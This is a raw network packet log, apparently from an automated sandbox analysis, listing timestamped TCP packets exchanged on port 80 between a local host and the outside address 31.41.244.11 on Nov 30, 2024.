Nov 30, 2024 18:08:29.304054976 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:29.304095030 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:29.304223061 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:29.304270029 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:29.305087090 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:29.305131912 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:29.305291891 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:29.305335045 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:29.306072950 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:29.306305885 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:29.306354046 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:29.307107925 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:29.307212114 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:29.307290077 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:29.307672977 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:29.308090925 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:29.308140993 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:29.308303118 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:29.308919907 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:29.309197903 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:29.309406042 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:29.309451103 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:29.310148001 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:29.310185909 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:29.310319901 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:29.310364962 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:29.311131954 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:29.311173916 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:29.311330080 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:29.311417103 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:29.312170029 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:29.312392950 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:29.312449932 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:29.313152075 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:29.313194990 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:29.313359022 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:29.313397884 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:29.314160109 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:29.314352989 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:29.314395905 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:29.315150023 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:29.315200090 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:29.315381050 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:29.315423965 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:29.316260099 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:29.316570044 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:29.316615105 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:29.317615986 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:29.317667961 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:29.317729950 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:29.317773104 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:29.319041967 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:29.319056988 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:29.319102049 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:29.319834948 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:29.320038080 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:29.320260048 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:29.320615053 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:29.320625067 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:29.320658922 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:29.320677042 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:29.321290016 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:29.321474075 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:29.321666002 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:29.322237968 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:29.322315931 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:29.322470903 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:29.322516918 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:29.323364973 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:29.323467016 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:29.323580027 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:29.323626041 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:29.324243069 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:29.324444056 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:29.324491978 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:29.325290918 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:29.325335026 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:29.325468063 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:29.325506926 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:29.326272964 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:29.326498032 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:29.326539993 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:29.327280998 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:29.327327967 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:29.327519894 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:29.327564001 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:29.328391075 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:29.328447104 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:29.328756094 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:29.328799009 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:29.329313993 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:29.329535007 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:29.329583883 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:29.331069946 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:29.331336021 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:29.331847906 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:29.331934929 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:29.331976891 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:29.332293987 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:29.332355976 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:29.332669020 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:29.333053112 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:29.333096027 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:29.333427906 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:29.333787918 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:29.333828926 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:29.334366083 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:29.334407091 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:29.334562063 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:29.334603071 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:29.335339069 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:29.335419893 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:29.483572960 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:29.483712912 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:29.483944893 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:29.483993053 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:29.484082937 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:29.484122992 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:29.484489918 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:29.484529972 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:29.485030890 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:29.485069990 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:29.485414028 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:29.485455990 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:29.485596895 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:29.485636950 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:29.486402035 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:29.486444950 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:29.486604929 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:29.486651897 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:29.487421036 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:29.487466097 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:29.487631083 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:29.487674952 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:29.488424063 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:29.488656044 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:29.488697052 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:29.489442110 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:29.489489079 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:29.489641905 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:29.489679098 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:29.490468979 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:29.490510941 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:29.490689039 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:29.490731001 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:29.491468906 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:29.491517067 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:29.491652966 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:29.492482901 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:29.492535114 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:29.492688894 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:29.492744923 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:29.493504047 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:29.493561983 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:29.493701935 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:29.493769884 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:29.494540930 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:29.494580030 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:29.494728088 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:29.494770050 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:29.495559931 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:29.495604992 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:29.495867014 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:29.496527910 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:29.496573925 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:29.496728897 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:29.496773958 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:29.497634888 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:29.497675896 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:29.497868061 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:29.497905970 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:29.498892069 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:29.498925924 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:29.499233007 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:29.499274969 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:29.499672890 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:29.500128984 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:29.500170946 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:29.500659943 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:29.500698090 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:29.500832081 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:29.500879049 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:29.501616001 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:29.501663923 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:29.501751900 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:29.501794100 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:29.502583027 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:29.502624035 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:29.502794981 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:29.502832890 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:29.503597975 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:29.503634930 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:29.503801107 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:29.504605055 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:29.504645109 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:29.504789114 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:29.504832029 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:29.505635977 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:29.505670071 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:29.505816936 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:29.505857944 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:29.506624937 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:29.506660938 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:29.506819010 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:29.506856918 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:29.507669926 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:29.507838964 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:29.507879019 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:29.508646011 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:29.508706093 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:29.508835077 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:29.508872986 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:29.509718895 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:29.509758949 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:29.509974957 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:29.510015011 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:29.510649920 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:29.510688066 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:29.510870934 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:29.510910988 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:29.511683941 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:29.511883020 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:29.511920929 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:29.512679100 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:29.512716055 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:29.512883902 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:29.512919903 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:29.513675928 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:29.513714075 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:29.513919115 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:29.513959885 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:29.514700890 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:29.514744043 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:29.514904976 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:29.514945984 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:29.515775919 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:29.515942097 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:29.515988111 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:29.516701937 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:29.516746044 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:29.516911983 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:29.516953945 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:29.517744064 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:29.517785072 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:29.517944098 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:29.517987013 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:29.518737078 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:29.518774033 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:29.518958092 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:29.518999100 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:29.519747019 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:29.519943953 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:29.519987106 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:29.520757914 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:29.520797014 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:29.520948887 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:29.520992041 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:29.521835089 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:29.521874905 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:29.521996021 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:29.522037029 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:29.522777081 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:29.522819042 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:29.522994995 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:29.523032904 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:29.523802996 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:29.524027109 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:29.524077892 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:29.524813890 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:29.524869919 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:29.525037050 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:29.525078058 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:29.525867939 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:29.525913000 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:29.526038885 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:29.526077986 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:29.526870012 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:29.526926994 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:29.527045965 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:29.527086020 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:29.527833939 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:29.528058052 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:29.528105974 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:29.528887987 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:29.528934956 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:29.529043913 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:29.529083014 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:29.529841900 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:29.529886007 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:29.530035973 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:29.530072927 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:29.530952930 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:29.530996084 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:29.531124115 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:29.531164885 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:29.531919003 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:29.532166958 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:29.532207966 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:29.532882929 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:29.532922983 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:29.533164024 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:29.533418894 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:29.533930063 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:29.534113884 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:29.534159899 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:29.534898043 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:29.534941912 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:29.535099983 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:29.535137892 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:29.535923958 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:29.536111116 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:29.536151886 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:29.684844971 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:29.685022116 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:29.685086012 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:29.685411930 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:29.685458899 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:29.685784101 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:29.686033010 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:29.686326981 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:29.686377048 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:29.686526060 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:29.686574936 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:29.687344074 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:29.687486887 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:29.687573910 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:29.687616110 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:29.688359022 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:29.688410044 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:29.688497066 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:29.688595057 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:29.689349890 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:29.689399958 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:29.689574003 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:29.689666986 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:29.690365076 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:29.690440893 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:29.690574884 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:29.690620899 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:29.691359997 CET	80	49805	31.41.244.11	192.168.2.4
